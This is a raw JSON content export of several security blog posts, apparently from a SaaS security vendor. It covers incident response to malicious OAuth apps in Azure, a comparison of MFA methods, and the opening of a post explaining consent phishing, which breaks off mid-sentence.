sign-ins ",{"data":204234,"marks":204235,"value":204236,"nodeType":865},{},[],"page, as these issues are likely to show up already classified. Just make sure your filters include non-interactive sign-in methods.",{"data":204238,"content":204239,"nodeType":1317},{},[204240],{"data":204241,"marks":204242,"value":204243,"nodeType":865},{},[],"Review app audit logs",{"data":204245,"content":204246,"nodeType":866},{},[204247],{"data":204248,"marks":204249,"value":204250,"nodeType":865},{},[],"In the same window underneath sign-in logs, you’ll find the audit logs section. Audit logs will provide you with crucial information relating to when an app was integrated, by who, and which permissions were delegated.",{"data":204252,"content":204256,"nodeType":912},{"target":204253},{"sys":204254},{"id":204255,"type":909,"linkType":910},"5HRLoa9zlIWZdZGLN84Yae",[],{"data":204258,"content":204259,"nodeType":1317},{},[204260],{"data":204261,"marks":204262,"value":204263,"nodeType":865},{},[],"Disable the app",{"data":204265,"content":204266,"nodeType":866},{},[204267],{"data":204268,"marks":204269,"value":204270,"nodeType":865},{},[],"If you’ve determined that an app was involved in an incident, the first step would be to disable the app to prevent malicious actors from performing any further authentication. Under the application’s properties, change the setting “Enable for users to sign-in?” from “Yes” to “No”, followed by clicking “Save.”",{"data":204272,"content":204276,"nodeType":912},{"target":204273},{"sys":204274},{"id":204275,"type":909,"linkType":910},"12NnJ8OhD3K27rFRJ48t6a",[],{"data":204278,"content":204279,"nodeType":1317},{},[204280],{"data":204281,"marks":204282,"value":204283,"nodeType":865},{},[],"Revoke all refresh tokens",{"data":204285,"content":204286,"nodeType":866},{},[204287,204291,204300,204304,204313,204317,204326],{"data":204288,"marks":204289,"value":204290,"nodeType":865},{},[],"Disabling the app is not enough to prevent attackers from maintaining access to your environment. ",{"data":204292,"content":204294,"nodeType":889},{"uri":204293},"https://learn.microsoft.com/en-us/azure/active-directory/develop/refresh-tokens",[204295],{"data":204296,"marks":204297,"value":204299,"nodeType":865},{},[204298],{"type":943},"Refresh tokens",{"data":204301,"marks":204302,"value":204303,"nodeType":865},{},[]," provide a way for apps to retrieve new access tokens without bugging users with pesky sign-in screens. Tokens are typically valid for between ",{"data":204305,"content":204307,"nodeType":889},{"uri":204306},"https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens#access-token-lifetime:~:text=The%20default%20lifetime%20of%20an%20access%20token%20is%20variable.%20When%20issued%2C%20the%20default%20lifetime%20of%20an%20access%20token%20is%20assigned%20a%20random%20value%20ranging%20between%2060%2D90%20minutes%20(75%20minutes%20on%20average).",[204308],{"data":204309,"marks":204310,"value":204312,"nodeType":865},{},[204311],{"type":943},"60 to 90 minutes",{"data":204314,"marks":204315,"value":204316,"nodeType":865},{},[],", and if a refresh token has been issued, the token holder can request new tokens for ",{"data":204318,"content":204320,"nodeType":889},{"uri":204319},"https://learn.microsoft.com/en-us/azure/active-directory/develop/refresh-tokens#:~:text=The%20default%20lifetime%20for%20the%20refresh%20tokens%20is%2024%20hours%20for%20single%20page%20apps%20and%2090%20days%20for%20all%20other%20scenarios",[204321],{"data":204322,"marks":204323,"value":204325,"nodeType":865},{},[204324],{"type":943},"up to 90 days",{"data":204327,"marks":204328,"value":204329,"nodeType":865},{},[],"! ",{"data":204331,"content":204332,"nodeType":866},{},[204333],{"data":204334,"marks":204335,"value":204336,"nodeType":865},{},[],"So, revoking refresh tokens is an important step as part of the mitigation and recovery steps. This step can be performed with some PowerShell – luckily Microsoft provides pre-generated scripts for you to copy and paste. Click on ‘Permissions’ for the app, followed by ‘Review permissions.’ ",{"data":204338,"content":204342,"nodeType":912},{"target":204339},{"sys":204340},{"id":204341,"type":909,"linkType":910},"7vuFmlmZbzfNhWHPj8ToHm",[],{"data":204344,"content":204345,"nodeType":866},{},[204346],{"data":204347,"marks":204348,"value":204349,"nodeType":865},{},[],"In the new window, click on ‘This application is malicious and I’m compromised.’ This will present you with the necessary PowerShell scripts to remove users from the app, revoke all permissions granted to the app, and finally to revoke refresh tokens associated with the app.",{"data":204351,"content":204355,"nodeType":912},{"target":204352},{"sys":204353},{"id":204354,"type":909,"linkType":910},"4NnD6WKRHlnzKE0F4GUDEm",[],{"data":204357,"content":204358,"nodeType":1317},{},[204359],{"data":204360,"marks":204361,"value":204362,"nodeType":865},{},[],"What to do if the initial access token was stolen",{"data":204364,"content":204365,"nodeType":866},{},[204366],{"data":204367,"marks":204368,"value":204369,"nodeType":865},{},[],"The initial access token cannot be revoked. In practice, if an attacker has managed to steal an access token it will be valid for the remainder of its lifespan, which is typically one hour. This is true even if the account is disabled, the compromised app deleted, and all refresh tokens revoked. If you’re responding to an incident, you will need to keep an eye on audit logs for an hour or more after performing the above steps to make sure the valid access token wasn’t still being used to perform actions in the environment.",{"data":204371,"content":204372,"nodeType":866},{},[204373,204377,204386,204390,204399],{"data":204374,"marks":204375,"value":204376,"nodeType":865},{},[],"Microsoft’s response to this was to develop something called ",{"data":204378,"content":204380,"nodeType":889},{"uri":204379},"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-continuous-access-evaluation",[204381],{"data":204382,"marks":204383,"value":204385,"nodeType":865},{},[204384],{"type":943},"continuous access evaluation",{"data":204387,"marks":204388,"value":204389,"nodeType":865},{},[],". However, they admit in the article that it does not address a scenario where an attacker exfiltrated the token outside of a ",{"data":204391,"content":204393,"nodeType":889},{"uri":204392},"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-continuous-access-evaluation#:~:text=Token%20export%20to%20a%20machine%20outside%20of%20a%20trusted%20network%20can%20be%20prevented%20with%20Conditional%20Access%20location%20policies",[204394],{"data":204395,"marks":204396,"value":204398,"nodeType":865},{},[204397],{"type":943},"trusted network",{"data":204400,"marks":204401,"value":204402,"nodeType":865},{},[],", in which case conditional access policy enforcement would be required to address the issue. Continuous access evaluation is ideal for handling specific cases of user access into the environment such as employee contract termination, or scenarios where conditional access policies are violated.",{"data":204404,"content":204405,"nodeType":981},{},[204406],{"data":204407,"marks":204408,"value":57175,"nodeType":865},{},[],{"data":204410,"content":204411,"nodeType":866},{},[204412],{"data":204413,"marks":204414,"value":204415,"nodeType":865},{},[],"This article should have given you a better understanding of the most common issues presented when reviewing SaaS apps integrated into your environment. ",{"data":204417,"content":204418,"nodeType":866},{},[204419],{"data":204420,"marks":204421,"value":204422,"nodeType":865},{},[],"Determining whether using an app would result in compromise is not a simple task, especially if you haven’t observed malicious behavior. As such, the best course of action is to consider all angles, which include the business case of users requiring its use, the permission scopes, and whether the vendor’s security practices are in line with your requirements.",{"data":204424,"content":204425,"nodeType":866},{},[204426],{"data":204427,"marks":204428,"value":204429,"nodeType":865},{},[],"SaaS is a new(ish) frontier that can be really daunting to defend against attackers, but it's not impossible to reduce risk without simply blocking access to SaaS. And, remember: denying users access to tools will make them find ways around the limitations.",{"data":204431,"content":204432,"nodeType":866},{},[204433],{"data":204434,"marks":204435,"value":204436,"nodeType":865},{},[],"We hope this article helps you get a better handle on how to determine if you’ve been compromised, and respond to incidents involving SaaS apps and/or OAuth integrations to your core work platforms.",{"data":204438,"content":204441,"nodeType":912},{"target":204439},{"sys":204440},{"id":178620,"type":909,"linkType":910},[],{"data":204443,"content":204444,"nodeType":866},{},[204445],{"data":204446,"marks":204447,"value":21,"nodeType":865},{},[],"How attackers compromise Azure organizations through SaaS apps ","2023-01-03T00:00:00.000Z","how-attackers-compromise-azure-organizations-through-saas-apps",{"items":204452},[204453,204455],{"sys":204454,"name":7796},{"id":7795},{"sys":204456,"name":342},{"id":4642},{"items":204458},[204459],{"fullName":158801,"firstName":158802,"jobTitle":158803,"profilePicture":204460},{"url":158805},{"__typename":1429,"sys":204462,"content":204464,"title":205194,"synopsis":205195,"hashTags":205196,"publishedDate":205197,"slug":205198,"tagsCollection":205199,"authorsCollection":205205},{"id":204463},"73JjdrO5GKRzYum97MqJ9q",{"json":204465},{"data":204466,"content":204467,"nodeType":1382},{},[204468,204484,204491,204534,204541,204586,204593,204952,204958,204964,204971,204978,204985,204991,204998,205005,205012,205019,205026,205033,205040,205047,205066,205073,205080,205087,205094,205101,205131,205138,205145,205152,205159,205166,205173,205176,205183,205188],{"data":204469,"content":204470,"nodeType":866},{},[204471,204475,204480],{"data":204472,"marks":204473,"value":204474,"nodeType":865},{},[],"Before we start, ",{"data":204476,"marks":204477,"value":204479,"nodeType":865},{},[204478],{"type":926},"MFA with any method is better than no MFA at all",{"data":204481,"marks":204482,"value":204483,"nodeType":865},{},[],". Although some methods are better than others, they're all leagues ahead of passwords alone. If, for whatever reason, you can only implement MFA using a weaker second factor, you should still do it. You can always improve later and you'll have made a significant improvement even with the weaker second factor.",{"data":204485,"content":204486,"nodeType":866},{},[204487],{"data":204488,"marks":204489,"value":204490,"nodeType":865},{},[],"So, how can one factor be better than others? Here's how we think about it:",{"data":204492,"content":204493,"nodeType":1616},{},[204494,204504,204514,204524],{"data":204495,"content":204496,"nodeType":1570},{},[204497],{"data":204498,"content":204499,"nodeType":866},{},[204500],{"data":204501,"marks":204502,"value":204503,"nodeType":865},{},[],"User experience: how easy is it to use?",{"data":204505,"content":204506,"nodeType":1570},{},[204507],{"data":204508,"content":204509,"nodeType":866},{},[204510],{"data":204511,"marks":204512,"value":204513,"nodeType":865},{},[],"Security: how easy is it for someone to compromise?",{"data":204515,"content":204516,"nodeType":1570},{},[204517],{"data":204518,"content":204519,"nodeType":866},{},[204520],{"data":204521,"marks":204522,"value":204523,"nodeType":865},{},[],"Cost: do you need to upgrade your SaaS license, or buy physical bits?",{"data":204525,"content":204526,"nodeType":1570},{},[204527],{"data":204528,"content":204529,"nodeType":866},{},[204530],{"data":204531,"marks":204532,"value":204533,"nodeType":865},{},[],"Support: how widely can it be used?",{"data":204535,"content":204536,"nodeType":1317},{},[204537],{"data":204538,"marks":204539,"value":204540,"nodeType":865},{},[],"Just want the answers? ",{"data":204542,"content":204543,"nodeType":1616},{},[204544,204554,204576],{"data":204545,"content":204546,"nodeType":1570},{},[204547],{"data":204548,"content":204549,"nodeType":866},{},[204550],{"data":204551,"marks":204552,"value":204553,"nodeType":865},{},[],"Using an app on your phone, like Microsoft or Google Authenticator, to receive notifications or use a one-time password are the top all-round options today - they're free, intuitive for users, relatively easy to set up, and widely supported. ",{"data":204555,"content":204556,"nodeType":1570},{},[204557],{"data":204558,"content":204559,"nodeType":866},{},[204560,204564,204572],{"data":204561,"marks":204562,"value":204563,"nodeType":865},{},[],"The gold standard is a FIDO2-capable security key, like the ",{"data":204565,"content":204567,"nodeType":889},{"uri":204566},"https://www.yubico.com/products/yubikey-5-overview/",[204568],{"data":204569,"marks":204570,"value":204571,"nodeType":865},{},[],"YubiKey 5 series",{"data":204573,"marks":204574,"value":204575,"nodeType":865},{},[],", or a security key built-in to your device, like Touch ID  - it's the most secure, provides the best user experience, but has an upfront cost as each user will need a key or a compatible device. The main drawback today is they aren't supported on all platforms yet so might not be an option everywhere.",{"data":204577,"content":204578,"nodeType":1570},{},[204579],{"data":204580,"content":204581,"nodeType":866},{},[204582],{"data":204583,"marks":204584,"value":204585,"nodeType":865},{},[],"Factors that rely on your phone number, such as SMS and phone calls should be avoided if possible as they are the least secure and provide the worst user experience.",{"data":204587,"content":204588,"nodeType":866},{},[204589],{"data":204590,"marks":204591,"value":204592,"nodeType":865},{},[],"Here's a summary:",{"data":204594,"content":204595,"nodeType":2927},{},[204596,204649,204701,204751,204803,204852,204903],{"data":204597,"content":204598,"nodeType":2400},{},[204599,204609,204619,204629,204639],{"data":204600,"content":204601,"nodeType":38076},{},[204602],{"data":204603,"content":204604,"nodeType":866},{},[204605],{"data":204606,"marks":204607,"value":204608,"nodeType":865},{},[],"Method",{"data":204610,"content":204611,"nodeType":38076},{},[204612],{"data":204613,"content":204614,"nodeType":866},{},[204615],{"data":204616,"marks":204617,"value":204618,"nodeType":865},{},[],"User experience",{"data":204620,"content":204621,"nodeType":38076},{},[204622],{"data":204623,"content":204624,"nodeType":866},{},[204625],{"data":204626,"marks":204627,"value":204628,"nodeType":865},{},[],"Security",{"data":204630,"content":204631,"nodeType":38076},{},[204632],{"data":204633,"content":204634,"nodeType":866},{},[204635],{"data":204636,"marks":204637,"value":204638,"nodeType":865},{},[],"Cost",{"data":204640,"content":204641,"nodeType":38076},{},[204642],{"data":204643,"content":204644,"nodeType":866},{},[204645],{"data":204646,"marks":204647,"value":204648,"nodeType":865},{},[],"Support",{"data":204650,"content":204651,"nodeType":2400},{},[204652,204662,204672,204681,204691],{"data":204653,"content":204654,"nodeType":2366},{},[204655],{"data":204656,"content":204657,"nodeType":866},{},[204658],{"data":204659,"marks":204660,"value":204661,"nodeType":865},{},[],"App Notification",{"data":204663,"content":204664,"nodeType":2366},{},[204665],{"data":204666,"content":204667,"nodeType":866},{},[204668],{"data":204669,"marks":204670,"value":204671,"nodeType":865},{},[],"Good",{"data":204673,"content":204674,"nodeType":2366},{},[204675],{"data":204676,"content":204677,"nodeType":866},{},[204678],{"data":204679,"marks":204680,"value":204671,"nodeType":865},{},[],{"data":204682,"content":204683,"nodeType":2366},{},[204684],{"data":204685,"content":204686,"nodeType":866},{},[204687],{"data":204688,"marks":204689,"value":204690,"nodeType":865},{},[],"Free",{"data":204692,"content":204693,"nodeType":2366},{},[204694],{"data":204695,"content":204696,"nodeType":866},{},[204697],{"data":204698,"marks":204699,"value":204700,"nodeType":865},{},[],"Widely supported",{"data":204702,"content":204703,"nodeType":2400},{},[204704,204714,204724,204733,204742],{"data":204705,"content":204706,"nodeType":2366},{},[204707],{"data":204708,"content":204709,"nodeType":866},{},[204710],{"data":204711,"marks":204712,"value":204713,"nodeType":865},{},[],"App code",{"data":204715,"content":204716,"nodeType":2366},{},[204717],{"data":204718,"content":204719,"nodeType":866},{},[204720],{"data":204721,"marks":204722,"value":204723,"nodeType":865},{},[],"Moderate",{"data":204725,"content":204726,"nodeType":2366},{},[204727],{"data":204728,"content":204729,"nodeType":866},{},[204730],{"data":204731,"marks":204732,"value":204671,"nodeType":865},{},[],{"data":204734,"content":204735,"nodeType":2366},{},[204736],{"data":204737,"content":204738,"nodeType":866},{},[204739],{"data":204740,"marks":204741,"value":204690,"nodeType":865},{},[],{"data":204743,"content":204744,"nodeType":2366},{},[204745],{"data":204746,"content":204747,"nodeType":866},{},[204748],{"data":204749,"marks":204750,"value":204700,"nodeType":865},{},[],{"data":204752,"content":204753,"nodeType":2400},{},[204754,204764,204774,204783,204793],{"data":204755,"content":204756,"nodeType":2366},{},[204757],{"data":204758,"content":204759,"nodeType":866},{},[204760],{"data":204761,"marks":204762,"value":204763,"nodeType":865},{},[],"Security key (external)",{"data":204765,"content":204766,"nodeType":2366},{},[204767],{"data":204768,"content":204769,"nodeType":866},{},[204770],{"data":204771,"marks":204772,"value":204773,"nodeType":865},{},[],"Best",{"data":204775,"content":204776,"nodeType":2366},{},[204777],{"data":204778,"content":204779,"nodeType":866},{},[204780],{"data":204781,"marks":204782,"value":204773,"nodeType":865},{},[],{"data":204784,"content":204785,"nodeType":2366},{},[204786],{"data":204787,"content":204788,"nodeType":866},{},[204789],{"data":204790,"marks":204791,"value":204792,"nodeType":865},{},[],"Expensive",{"data":204794,"content":204795,"nodeType":2366},{},[204796],{"data":204797,"content":204798,"nodeType":866},{},[204799],{"data":204800,"marks":204801,"value":204802,"nodeType":865},{},[],"Some platforms",{"data":204804,"content":204805,"nodeType":2400},{},[204806,204816,204825,204834,204843],{"data":204807,"content":204808,"nodeType":2366},{},[204809],{"data":204810,"content":204811,"nodeType":866},{},[204812],{"data":204813,"marks":204814,"value":204815,"nodeType":865},{},[],"Security key (internal)",{"data":204817,"content":204818,"nodeType":2366},{},[204819],{"data":204820,"content":204821,"nodeType":866},{},[204822],{"data":204823,"marks":204824,"value":204773,"nodeType":865},{},[],{"data":204826,"content":204827,"nodeType":2366},{},[204828],{"data":204829,"content":204830,"nodeType":866},{},[204831],{"data":204832,"marks":204833,"value":204773,"nodeType":865},{},[],{"data":204835,"content":204836,"nodeType":2366},{},[204837],{"data":204838,"content":204839,"nodeType":866},{},[204840],{"data":204841,"marks":204842,"value":204690,"nodeType":865},{},[],{"data":204844,"content":204845,"nodeType":2366},{},[204846],{"data":204847,"content":204848,"nodeType":866},{},[204849],{"data":204850,"marks":204851,"value":204802,"nodeType":865},{},[],{"data":204853,"content":204854,"nodeType":2400},{},[204855,204865,204875,204884,204894],{"data":204856,"content":204857,"nodeType":2366},{},[204858],{"data":204859,"content":204860,"nodeType":866},{},[204861],{"data":204862,"marks":204863,"value":204864,"nodeType":865},{},[],"SMS",{"data":204866,"content":204867,"nodeType":2366},{},[204868],{"data":204869,"content":204870,"nodeType":866},{},[204871],{"data":204872,"marks":204873,"value":204874,"nodeType":865},{},[],"Poor",{"data":204876,"content":204877,"nodeType":2366},{},[204878],{"data":204879,"content":204880,"nodeType":866},{},[204881],{"data":204882,"marks":204883,"value":204874,"nodeType":865},{},[],{"data":204885,"content":204886,"nodeType":2366},{},[204887],{"data":204888,"content":204889,"nodeType":866},{},[204890],{"data":204891,"marks":204892,"value":204893,"nodeType":865},{},[],"Cheap",{"data":204895,"content":204896,"nodeType":2366},{},[204897],{"data":204898,"content":204899,"nodeType":866},{},[204900],{"data":204901,"marks":204902,"value":204700,"nodeType":865},{},[],{"data":204904,"content":204905,"nodeType":2400},{},[204906,204916,204925,204934,204943],{"data":204907,"content":204908,"nodeType":2366},{},[204909],{"data":204910,"content":204911,"nodeType":866},{},[204912],{"data":204913,"marks":204914,"value":204915,"nodeType":865},{},[],"Phone call",{"data":204917,"content":204918,"nodeType":2366},{},[204919],{"data":204920,"content":204921,"nodeType":866},{},[204922],{"data":204923,"marks":204924,"value":204874,"nodeType":865},{},[],{"data":204926,"content":204927,"nodeType":2366},{},[204928],{"data":204929,"content":204930,"nodeType":866},{},[204931],{"data":204932,"marks":204933,"value":204874,"nodeType":865},{},[],{"data":204935,"content":204936,"nodeType":2366},{},[204937],{"data":204938,"content":204939,"nodeType":866},{},[204940],{"data":204941,"marks":204942,"value":204893,"nodeType":865},{},[],{"data":204944,"content":204945,"nodeType":2366},{},[204946],{"data":204947,"content":204948,"nodeType":866},{},[204949],{"data":204950,"marks":204951,"value":204700,"nodeType":865},{},[],{"data":204953,"content":204957,"nodeType":912},{"target":204954},{"sys":204955},{"id":204956,"type":909,"linkType":910},"7rgrP5FFAKG63lscwhAsW1",[],{"data":204959,"content":204960,"nodeType":1317},{},[204961],{"data":204962,"marks":204963,"value":204661,"nodeType":865},{},[],{"data":204965,"content":204966,"nodeType":866},{},[204967],{"data":204968,"marks":204969,"value":204970,"nodeType":865},{},[],"One of the most common methods today is the app notification. Using an app on your phone, like Microsoft Authenticator, to receive a push notification when you login.",{"data":204972,"content":204973,"nodeType":866},{},[204974],{"data":204975,"marks":204976,"value":204977,"nodeType":865},{},[],"Free, easy to use, and secure - this is a good choice if your users all have devices to install the app on and will reliably have a network connection to receive the notification.",{"data":204979,"content":204980,"nodeType":866},{},[204981],{"data":204982,"marks":204983,"value":204984,"nodeType":865},{},[],"Your challenges with using this method will be getting the app setup on everyone's device, getting everyone enrolled, and making sure users understand to only hit approve when they actually performed a login (seriously).",{"data":204986,"content":204990,"nodeType":912},{"target":204987},{"sys":204988},{"id":204989,"type":909,"linkType":910},"4ybLnYAdHltdWCluLbr4di",[],{"data":204992,"content":204993,"nodeType":1317},{},[204994],{"data":204995,"marks":204996,"value":204997,"nodeType":865},{},[],"App Code",{"data":204999,"content":205000,"nodeType":866},{},[205001],{"data":205002,"marks":205003,"value":205004,"nodeType":865},{},[],"The early days of MFA looked like RSA tokens; those devices you used to have to carry on a key chain with a code that changed every minute. Those devices worked by having a \"seed\" value that both the device and the server knew which changed predictably. So long as that seed value stayed safe, this provided a convenient second factor for users that was difficult to compromise.",{"data":205006,"content":205007,"nodeType":866},{},[205008],{"data":205009,"marks":205010,"value":205011,"nodeType":865},{},[],"Today, this approach is more common via an app, where the app provides a code that changes every minute, but the concept is exactly the same.",{"data":205013,"content":205014,"nodeType":866},{},[205015],{"data":205016,"marks":205017,"value":205018,"nodeType":865},{},[],"This approach uses what is officially called One Time Passwords (OTP) but is often just referred to as an app code. It has some advantages, such as not needing signal after setup which can be handy if that's a concern. ",{"data":205020,"content":205021,"nodeType":866},{},[205022],{"data":205023,"marks":205024,"value":205025,"nodeType":865},{},[],"However, as was true of the RSA tokens of the past, if the seed value is compromised all future values can be predicted. The odds of this happening in practice are exceptionally low so this remains a good choice.",{"data":205027,"content":205028,"nodeType":866},{},[205029],{"data":205030,"marks":205031,"value":205032,"nodeType":865},{},[],"Your challenges with using this method will again be mostly in rolling it out to all users and getting everyone setup.",{"data":205034,"content":205035,"nodeType":1317},{},[205036],{"data":205037,"marks":205038,"value":205039,"nodeType":865},{},[],"Text message / phone call",{"data":205041,"content":205042,"nodeType":866},{},[205043],{"data":205044,"marks":205045,"value":205046,"nodeType":865},{},[],"As MFA gained popularity, receiving a code via text message (SMS), or sometimes a phone call, quickly became the de-facto method. Before everyone had smartphones and therefore the ability to install apps, using text messages or phone calls was the only way to implement MFA without having to provision RSA tokens for everyone in the team.",{"data":205048,"content":205049,"nodeType":866},{},[205050,205054,205062],{"data":205051,"marks":205052,"value":205053,"nodeType":865},{},[],"The major downside to using these methods is their reliance on the security of the phone number. If attackers really want to target an account, and they know the phone number used for MFA, they can try something called ",{"data":205055,"content":205057,"nodeType":889},{"uri":205056},"https://en.wikipedia.org/wiki/SIM_swap_scam",[205058],{"data":205059,"marks":205060,"value":205061,"nodeType":865},{},[],"SIM-swapping",{"data":205063,"marks":205064,"value":205065,"nodeType":865},{},[]," to hijack the phone number, and hence nullify the MFA.",{"data":205067,"content":205068,"nodeType":866},{},[205069],{"data":205070,"marks":205071,"value":205072,"nodeType":865},{},[],"The most important thing to note in that scenario is how targeted it is. With no MFA, any attacker on the Internet can simply guess passwords on an account - the cost is extremely low. To bypass SMS or phone call MFA using SIM swapping has a significantly higher cost. The attack is definitely practical, but would only happen when you're specifically targeted.",{"data":205074,"content":205075,"nodeType":866},{},[205076],{"data":205077,"marks":205078,"value":205079,"nodeType":865},{},[],"Additionally, the user experience isn't as good. Firstly, the user must have mobile signal to receive the SMS or call. Secondly, there can often be a delay in delivery, due to the less-reliable mobile network. Finally, there is almost always a usage cost associated with these methods, since it costs money to send SMSs or make phone calls.",{"data":205081,"content":205082,"nodeType":866},{},[205083],{"data":205084,"marks":205085,"value":205086,"nodeType":865},{},[],"Because of this, SMS or phone calls are often considered least desirable MFA methods today.",{"data":205088,"content":205089,"nodeType":1317},{},[205090],{"data":205091,"marks":205092,"value":205093,"nodeType":865},{},[],"Security keys",{"data":205095,"content":205096,"nodeType":866},{},[205097],{"data":205098,"marks":205099,"value":205100,"nodeType":865},{},[],"FIDO2 is the name for a set of authentication protocols and standards developed by a consortium of tech companies to be the future of authentication. FIDO2 solves a lot of the problems we've dealt with in the past: it's secure, usable, impossible to spoof.",{"data":205102,"content":205103,"nodeType":866},{},[205104,205108,205116,205120,205127],{"data":205105,"marks":205106,"value":205107,"nodeType":865},{},[],"Without digging into the weeds of how that works (",{"data":205109,"content":205111,"nodeType":889},{"uri":205110},"https://fidoalliance.org/fido2/",[205112],{"data":205113,"marks":205114,"value":205115,"nodeType":865},{},[],"the official page from the FIDO alliance is worth a read if you're interested",{"data":205117,"marks":205118,"value":205119,"nodeType":865},{},[],"), you will need what's commonly referred to as a \"security key\" to make use of it. This is a small physical device, often plugged into your USB port - modern devices that understand FIDO2, like the ",{"data":205121,"content":205122,"nodeType":889},{"uri":204566},[205123],{"data":205124,"marks":205125,"value":205126,"nodeType":865},{},[],"YubiKey 5 Series",{"data":205128,"marks":205129,"value":205130,"nodeType":865},{},[],", are preferable. Once setup, you simply touch the key on login and the magic of cryptography ensures a high degree of security.",{"data":205132,"content":205133,"nodeType":866},{},[205134],{"data":205135,"marks":205136,"value":205137,"nodeType":865},{},[],"In fact, this approach is so secure, it is the basis of a \"passwordless\" revolution, where this strong factor of authentication can feasibly be used as a single-factor of authentication, and users don't even need to remember passwords anymore. Though in its infancy at the moment, expect to hear more about that in the coming years.",{"data":205139,"content":205140,"nodeType":866},{},[205141],{"data":205142,"marks":205143,"value":205144,"nodeType":865},{},[],"The primary drawback of this method is the cost, with devices typically costing around $50 each. Also, although you can expect them to be supported on major platforms, they aren't supported as widely as other methods just yet.",{"data":205146,"content":205147,"nodeType":866},{},[205148],{"data":205149,"marks":205150,"value":205151,"nodeType":865},{},[],"If you are unable to justify their cost for all users, a common implementation is to use security keys for high privilege accounts.",{"data":205153,"content":205154,"nodeType":1317},{},[205155],{"data":205156,"marks":205157,"value":205158,"nodeType":865},{},[],"Built-in security keys",{"data":205160,"content":205161,"nodeType":866},{},[205162],{"data":205163,"marks":205164,"value":205165,"nodeType":865},{},[],"Many modern mobile devices like laptops, tablets and phones have built-in security keys (e.g. Apple TouchId,  Android phones, and Windows Hello). These have many of the advantages of stand-alone security keys, but without the cost!",{"data":205167,"content":205168,"nodeType":866},{},[205169],{"data":205170,"marks":205171,"value":205172,"nodeType":865},{},[],"Support for these keys is a fairly recent development and is still ongoing but opens up an exciting future where users will increasingly be able to very easily add a second factor, or even go passwordless, in a secure way, without much effort or thought.",{"data":205174,"content":205175,"nodeType":972},{},[],{"data":205177,"content":205178,"nodeType":866},{},[205179],{"data":205180,"marks":205181,"value":205182,"nodeType":865},{},[],"In conclusion there are multiple options you can choose from to fit almost any scenario you have. While some options are better than others, even the worst option is still a massive improvement on passwords alone. In the end, the best MFA method is the one you can start rolling out today, you can always improve down the line.",{"data":205184,"content":205187,"nodeType":912},{"target":205185},{"sys":205186},{"id":178620,"type":909,"linkType":910},[],{"data":205189,"content":205190,"nodeType":866},{},[205191],{"data":205192,"marks":205193,"value":21,"nodeType":865},{},[],"Which MFA methods should you use?","SMS, Authenticator apps, Security Keys, and more! We compare them from a user experience, security, cost, and security aspect.",[457],"2021-03-15T00:00:00.000+01:00","which-mfa-methods-should-you-use",{"items":205200},[205201,205203],{"sys":205202,"name":2314},{"id":2313},{"sys":205204,"name":297},{"id":2310},{"items":205206},[205207],{"fullName":197438,"firstName":197439,"jobTitle":197440,"profilePicture":205208},{"url":197442},{"__typename":1429,"sys":205210,"content":205211,"title":205389,"synopsis":205390,"hashTags":59,"publishedDate":205391,"slug":205392,"tagsCollection":205393,"authorsCollection":205399},{"id":203182},{"json":205212},{"data":205213,"content":205214,"nodeType":1382},{},[205215,205222,205229,205235,205251,205257,205264,205271,205300,205306,205325,205343,205362],{"data":205216,"content":205217,"nodeType":866},{},[205218],{"data":205219,"marks":205220,"value":205221,"nodeType":865},{},[],"With more platforms adding support for Multi-factor Authentication (MFA) and users increasingly adopting it to secure their accounts, attackers are adapting and moving to new methods of compromising user accounts. In this post we’ll take a look at consent phishing and how it is being used to bypass MFA and also skirt key attributes of phishing that are taught in traditional user awareness campaigns, such as links to untrusted domains.",{"data":205223,"content":205224,"nodeType":866},{},[205225],{"data":205226,"marks":205227,"value":205228,"nodeType":865},{},[],"Imagine yourself sitting down at your desk first thing on a Monday morning, cup of coffee steaming next to your keyboard as you click through your backlog of emails. You open the below email and you see that Karl has shared a financial report with you. ",{"data":205230,"content":205234,"nodeType":912},{"target":205231},{"sys":205232},{"id":205233,"type":909,"linkType":910},"7zysXleQdpE6isqi9OU56l",[],{"data":205236,"content":205237,"nodeType":866},{},[205238,205242,205247],{"data":205239,"marks":205240,"value":205241,"nodeType":865},{},[],"Maybe you’ve been waiting for the latest financials or you suspect this was sent erroneously but you’re curious and want to take a peek. When you click the link you are presented with a prompt that with your Monday brain looks just like the “Yes give me access” prompt you’ve clicked through a thousand times. I mean, it's a ",{"data":205243,"marks":205244,"value":205246,"nodeType":865},{},[205245],{"type":926},"microsoftonline.com",{"data":205248,"marks":205249,"value":205250,"nodeType":865},{},[]," domain, it's https and there’s a green tick in the corner so everything looks fine. ",{"data":205252,"content":205256,"nodeType":912},{"target":205253},{"sys":205254},{"id":205255,"type":909,"linkType":910},"6nPueTKEjLphqlytbQ0gcx",[],{"data":205258,"content":205259,"nodeType":866},{},[205260],{"data":205261,"marks":205262,"value":205263,"nodeType":865},{},[],"If you’d looked closely you may have noticed that this was in fact asking you to approve access rather than granting you access. But with your muscle memory in full control you click “Accept” before even glancing at the screen. You wait for the spreadsheet to open but are presented with a generic “File does not exist” error page. Oh well, apparently Karl realised his mistake and deleted the file or revoked your access. Onto the next email.",{"data":205265,"content":205266,"nodeType":866},{},[205267],{"data":205268,"marks":205269,"value":205270,"nodeType":865},{},[],"And just like that you’ve been consent phished. You’ve just granted the attackers permanent access to your account, which they retain even if you change your password or have MFA enabled. Chances are the attacker’s tools will immediately start downloading every piece of data you just granted them access to, which they can then explore at their leisure. ",{"data":205272,"content":205273,"nodeType":866},{},[205274,205278,205286,205289,205297],{"data":205275,"marks":205276,"value":205277,"nodeType":865},{},[],"To spot this you need to audit the apps you’ve approved, something you are doing regularly, right? Seriously though, this isn’t something many people check. These integrations are designed to be as seamless as possible and not to get in your way. But if this has piqued your interest you can check what access you have personally granted on ",{"data":205279,"content":205281,"nodeType":889},{"uri":205280},"https://myaccount.google.com/permissions",[205282],{"data":205283,"marks":205284,"value":205285,"nodeType":865},{},[],"Google Workspace",{"data":205287,"marks":205288,"value":4988,"nodeType":865},{},[],{"data":205290,"content":205292,"nodeType":889},{"uri":205291},"https://myapps.microsoft.com/",[205293],{"data":205294,"marks":205295,"value":205296,"nodeType":865},{},[],"Microsoft 365",{"data":205298,"marks":205299,"value":1615,"nodeType":865},{},[],{"data":205301,"content":205305,"nodeType":912},{"target":205302},{"sys":205303},{"id":205304,"type":909,"linkType":910},"BPIX02LWblUNnkQw1TFWD",[],{"data":205307,"content":205308,"nodeType":866},{},[205309,205313,205321],{"data":205310,"marks":205311,"value":205312,"nodeType":865},{},[],"If you’d been paying 